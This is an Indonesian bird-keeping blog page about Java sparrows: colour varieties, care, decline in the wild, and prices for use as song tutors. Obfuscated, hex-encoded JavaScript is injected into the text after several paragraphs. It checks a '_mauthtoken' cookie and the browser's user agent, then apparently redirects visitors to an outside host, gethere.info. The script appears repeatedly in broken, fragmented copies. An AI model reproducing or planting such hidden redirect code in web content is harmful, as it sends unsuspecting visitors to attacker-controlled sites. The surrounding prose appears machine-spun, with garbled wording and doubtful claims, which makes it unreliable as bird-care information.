IBX5980432E7F390 Jenis Ciri Fisik Burung Gelatik Jawa Bagus Kupas Triknya - Kicauan Burung Lovebird Ngekek

Jenis Ciri Fisik Burung Gelatik Jawa Bagus Kupas Triknya

Jenis Ciri Fisik Burung Gelatik Jawa Bagus

Jenis ciri fisik burung gelatik jawa bagus-Banyak jenis serta ragamnya burung gelatik jawa ini.menurut pengetahuan penulis yang kami kutib dari banyak sekali sumber terkenal,ada 4 jenis spesies burung gelatik jawa yang tersebar di seluruh indonesia..beberapa jenis burung gelatik jawa tersebut,sebagai berikut..

Gelatik jawa ada banyak jenisnya, dari yang berwarna silver, cokelat, putih, dan yang terakhir adalah jenis gelatik jawa normal. Harga setiap jenis burungnya pun berbeda-beda. Di bawah ini akan dijelaskan jenis-jenis burung gelatik jawa yang berwarna silver, cokelat, putih, dan normal.Jenis Ciri Fisik Burung Gelatik Jawa bagus

Gelatik Jawa Silver

Gelatik jawa yang berwarna silver ini merupakan jenis burung yang baru muncul akhir-akhir ini. Burung ini merupakan burung hasil persilangan. Hasil persiliangan tersebut menghasilkan burung gelatik berwarna silver.

Burung ini merupakan burung peliharaan saja, dan tidak pernah ditemukan di alam liar (misalnya dihutan). Kenapa burung gelatik jawa silver tidak pernah ditemukan di alam liar? Karena burung gelatik jawa habitat aslinya bukan di hutan melainkan di penangkaran.

Gelatik Jawa Cokelat

Burung gelatik jawa cokelat ini merupakan burung termahal dari sekian banyak burung gelatik jawa. Jika seseorang itu merupakan penggemar burung gelatik jawa cokelat burung ini, maka orang tersebut rela mengeluarkan berapa pun uangnya demi mendapatkan burung hias yang bagus ini.

Warna bulu burung gelatik jawa cokelat yaitu warna putih kekuning-kuningan seakan-akan warna kream.

Gelatik Jawa Putih

Di Indoensia sendiri gelatik jawa putih lebih dikenal dengan sebutan white java, yang berarti gelatik jepang. Sesuai dengan namanya, warna bulu burung gelatik jawa putih ini berwarna putih diseluruh bulunya, yang tidak berwarna putih adalah cuilan kaki dan paruhnya. Warnanya yang putih menciptakan orang menjadi berminat ingin memeliharanya.

Dari mana asal burung gelatik jawa putih? Sama dengan burung gelatik jawa silver, burung gelatik jawa putih ini merupakan burung hasil persilangan di penangkaran.

Burung gelatik jawa putih ini asalnya bukan dari alam liar. Harga jual di pasaran burung ini juga relatif mahal tiap satu pasang burung gelatik jawa yaitu sekitar Rp. 480.000 – Rp. 650.000.

Gelaitk Jawa Type Normal

Ciri-ciri burung gelatik jawa normal yaitu warna bulu burung tersebut lebih banyak berwarna bubuk-abu. Kenapa burung ini masih berwarna abu-abu? Karena,, burung gelatik jawa normal ini tidak pernah melaksanakan persilangan melainkan hanya perkawinan biasa. Harga tiap pasang burung gelatik jawa normal adalah sekitar Rp. 170.000.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)g560)(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])

Baca juga: Ciri Fisik dan suara murai watu medan gacor

Wajib Penting Di baca

  • Cara Mudah Merawat Burung Gelatik Jawa
  • Pakan Alami Burung Gelatik Hutan Dan Budidaya
  • Tempat Keberadaan Burung gelatik Jawa Dihutan
  • Ciri Fisik keunggulan Burung Gelatik Java Silver
  • Pakan Kroto Dan Ulat Hongkong Burung Gelatik Wingko
  • Tips Dalam Penangkaran Burung Gelatik Silver
  • Cara Membedakan Kelamin Gelatik Jantan Betina
  • Penggemar Burung Berkicau Semakin Bertambah
  • Pakan Alami Burung Gelatik Wingko Gacor
  • Ukuran Sangkar Burung Gelatik Wingko Dewasa
  • Pakan Burung Gelatik Wingko Piyikan Dan Dewasa

Cara Praktis Merawat Burung Gelatik Jawa

Cara simpel merawat burung gelatik jawa-dalam melaksanakan perawatan harian,jenis burung gelatik jawa ini tergolong praktis serta tidak perlu melakukan perawatan yang serba kusus.dalam hal ketahanan tubuh dan mental.burung gelatik jawa juga tergolong unggul jikalau kita bandingkan dengan burung gelatik jenis lain..

Burung gelatik jawa dulunya merupakan burung pengganggu sawah petani. Burung ini paling suka menggangu tanaman yang ada di sawah. Burung gelatik jawa banyak tersebar di Pulau Jawa dan Pulau Bali.

Burung yang nama latinnya Padda oryzivora ini merupakan burung yang banyak hidup di hutan Indonesia. Burung gelatik jawa merupakan dari keturunan suku Estrildidae.Cara Mudah Merawat Burung Gelatik Jawa

Burung ini lebih dikenal oleh orang di seluruh dunia sebagai burung hias. Kenapa burung gelatik jawa lebih dikenal oleh orang dengan sebutan burung hias? Karena burung gelatik wingko mempunyai warna bulu yang indah dan ukurannya yang relatif  kecil, yaitu sekitar 18 cm saja. Burung yang berasal dari Indonesia ini mempunyai ciri-ciri yang simpel dikenal.

Warna bulu dalam satu badan burung gelatik jawa ialah kolaborasi antara warna abu-abu, cokelat, dan merah. Warna abu-abu terletak dibagian badannya, warna cokelat terletak di perutnya, dan warna merah terletak di kaki burung gelatik jawa. Ciri-ciri yang telah dijelaskan tersebut merupakan ciri-ciri burung gelatik jawa dewasa.

Ketika penangkar burung gelatik jawa ingin membeli burung gelatik jawa di pasaran, maka penangkar harus dituntut teliti menentukan antara burung gelatik jawa jantan dan burung gelatik jawa betina.

Karena antara burung gelatik jawa jantan dan burung gelatik jawa betina sangatlah sulit dibedakan satu sama lainnya. Keberadaan burung gelatik jawa di hutan Indonesia semakin lama semakin berkurang, dan kini burung tersebut terancam punah.

Banyaknya perburuan liar yang mengambil burung ini sebanyak-banyaknya juga merupakan alasannya dari kepunahan burung ini. Sudah banyak orang yang berburu burung gelatik jawa ini lantaran kepentingan pribadi. Sekarang, insan sudah tidak memperdulikan kehidupan burung gelatik wingko di alam bebas.

Makanan pokok burung ini yaitu beras, dan jenis biji-bijian lainnya. Burung gelatik jawa yang hidup di alam bebas, cenderung hidup berkelompok dan tidak suka hidup sendirian.

Burung gelatik jawa tidak hidup di suatu kawasan saja, tetapi burung ini memilih kawasan mana yang banyak ada makanan pokoknya guna memenuhi kebutuhan pakannnya. Seperti namanya yaitu burung hias, burung ini dinikmati keindahan bulunya saja.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)ca)(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)sdk\/)(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)w3c(\-)(navigator[_0x446d[3]]

Baca juga: Ciri Fisik dan suara murai kerikil medan gacor

Wajib Penting Di baca

  • Jenis Ciri Fisik Burung Gelatik Jawa Bagus
  • Ciri Fisik keunggulan Burung Gelatik Java Silver
  • Ciri Fisik Burung Gelatik Wingko Belong/Jawa
  • Ciri Khas Burung Berkicau Siap Masuk kontes
  • Tempat Keberadaan Burung gelatik Jawa Dihutan
  • Cara Ternak Lovebird Kusus Pemula Lengkap
  • Berapa Nilai Harga Jual Burung Gelatik Wingko
  • Ukuran Sangkar Burung Gelatik Wingko Dewasa
  • Cara Membedakan Kelamin Gelatik Jantan Betina
  • Cara Memaster Burung Berkicau Dengan Gelatik Wingko
  • Kekurangan-kelebihan Memaster Burung Dengan Burung

Berapa Nilai Harga Jual Burung Gelatik Wingko

Berapa nilai harga jual burung gelatik wingko-Burung gelatik wingko mempunyai harga jual yang cukup tinggi,namun masih agak sedikit kalah dengan burung di atasnya,seperti murai kerikil,kacer dan cucak ijo..Harga jual burung gelatik wingko di pasaran yang kami dapatkan untuk bulan ini berfareasi,semua tergantung kualitas,umur serta trah dan keturunannya..apalagi jika burung sudah sanggup menjuarai lomba,akan mempunyai harga yang cukup mahal..

Jika Harga burung gelatik wingko dibandingkan dengan Harga burung berkicau lainnya, burung ini harganya paling mahal. Apabila seseorang tersebut sudah penggemar berat burung gelatik niscaya orang tersebut rela mengeluarkan uangnya untuk hanya sekedar membeli burung gelatik wingko.Berapa Nilai Harga Jual Burung Gelatik Wingko

Harga gelatik wingko dari yang masih bakalan, remaja, dan sampai yang untuk dijadikan master burung memang harganya paling mahal diantara jenis burung lainnya.

Harga Burung gelatik wingko yang masih bakalan harganya sekitaran Rp. 87.000 – Rp. 177.000 per ekornya. Harga burung gelatik wingko sampaumur sekitar Rp. 180.000 – Rp. 270.000 per ekornya. Sedangkan burung gelatik wingko yang khusus untuk memasterkan burung-burung jenis lainnya harganya lebih mahal dari burung gelatik wingko bakalan dan sampaumur, harganya sekitar Rp. 450.000 – Rp. 580.000 per ekornya.

Apa yang menciptakan burung gelatik wingko yang khusus untuk memasterkan burung-burung jenis lainnya lebih mahal dari burung gelatik wingko yang bakalan dan dewasa? Itu karena burung gelatik wingko khusus untuk burung master mempunyai suara kicauan yang beragam.

Apa maksud dari mempunyai suara kicauan yang beragam? Maksud dari mempunyai bunyi kicauan yang majemuk yaitu burung gelatik wingko master bisa menirukan suara burung jenis lainnya. Bukan hanya satu burung, tetapi lebih dari satu burung berkicau.

Maka dari itu, burung gelatik wingko sangat cocok untuk dijadikan burung pemaster bagi burung-burung yang suara kicauannnya kurang bagus. Ketika burung gelatik wingko sudah menjadi guru bagi burung yang akan dimaster (seperti burung kenari dan burung-burung lainnya) maka burung yang dimaster tersebut sudah niscaya bisa mengikuti kontes burung berkicau.

Apabila burung tersebut sudah mampu menyanyikan banyak lagu dan suaranya yang sudah bagus, maka burung tersebut sudah bisa mengikuti banyak sekali kontes burung berkicau.

Burung yang mampu menirukan suara burung lain, maka menjadi sentra perhatian orang dan mendapat nilai plus dari juri. Jika sudah begitu, maka burung berpeluang memenangkan kontes burung yang diikuti burung tersebut.

Harga yang telah ditetapkan di atas tersebut merupakan harga pasaran sekarang. Harga burung yang sudah pernah menjuarai kontes burung berkicau, maka harga yang ditawarkan relatif mahal dari burung yang mempunyai majemuk bunyi kicauan dari burung lain yang belum pernah menang kontes burung berkicau.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)libw)(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)sie(\-)(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)fennec)(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)

Baca juga: Ciri Fisik dan suara murai watu medan gacor

Wajib Penting Di baca

  • Pakan Kroto Dan Ulat Hongkong Burung Gelatik Wingko
  • Cara Memaster Burung Berkicau Dengan Gelatik Wingko
  • Cara Memaster Burung Berkicau Menggunakan Gelatik
  • Ciri Fisik keunggulan Burung Gelatik Java Silver
  • Cara Mudah Merawat Burung Gelatik Jawa
  • Jenis Burung Bisa Dimaster Dengan Burung Gelatik
  • Burung Gelatik Adalah Pemaster Burung Terbaik
  • Jenis Ciri Fisik Burung Gelatik Jawa Bagus
  • Ciri Khas Burung Berkicau Siap Masuk kontes
  • Cara Mudah Memaster Murai Batu Bakalan
  • Pakan Alami Burung Gelatik Hutan Dan Budidaya

Berlangganan Untuk Mendapatkan Artikel Terbaru:

0 Komentar Untuk " Jenis Ciri Fisik Burung Gelatik Jawa Bagus Kupas Triknya"

Posting Komentar